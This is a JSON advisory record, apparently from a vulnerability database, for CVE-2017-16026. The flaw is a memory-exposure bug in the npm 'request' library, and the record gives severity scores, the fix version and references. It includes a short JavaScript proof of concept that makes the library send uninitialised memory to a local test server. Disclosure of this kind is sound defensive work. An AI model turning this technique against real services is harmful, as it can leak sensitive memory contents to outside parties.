{"id":"CVE-2017-16026","aliases":["GHSA-7xfp-9c55-5vqj"],"url":"https://o3.security/vulnerability/CVE-2017-16026","summary":"Remote Memory Exposure in request","details":"Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.\n\n## Proof of Concept\n\n```js\nvar request = require('request');\nvar http = require('http');\n\nvar serveFunction = function (req, res){\n\treq.on('data', function (data) {\n            console.log(data)\n        });\n\tres.end();\n};\nvar server = http.createServer(serveFunction);\nserver.listen(8000);\n\nrequest({\n\tmethod: \"POST\",\n\turi: 'http://localhost:8000',\n\tmultipart: [{body:500}]\n},function(err,res,body){});\n```\n\n\n## Recommendation\n\nUpdate to version 2.68.0 or later","published":"2018-06-04T19:29:01.537Z","modified":"2026-07-08T15:10:43.486427Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.02625,"percentile":0.84741,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":3,"affectedPackages":[{"ecosystem":"npm","name":"request","fixedVersion":"2.68.0"},{"ecosystem":"npm","name":"request","fixedVersion":"2.68.0"}],"fix":{"url":"https://github.com/request/request/pull/2018","label":"request/request#2018"},"references":[{"type":"REPORT","url":"https://github.com/request/request/issues/1904"},{"type":"REPORT","url":"https://github.com/request/request/pull/2018"},{"type":"EVIDENCE","url":"https://nodesecurity.io/advisories/309"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16026"},{"type":"WEB","url":"https://github.com/request/request/pull/2022"},{"type":"WEB","url":"https://github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd"},{"type":"PACKAGE","url":"https://github.com/request/request"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T15:10:43.486427Z"}}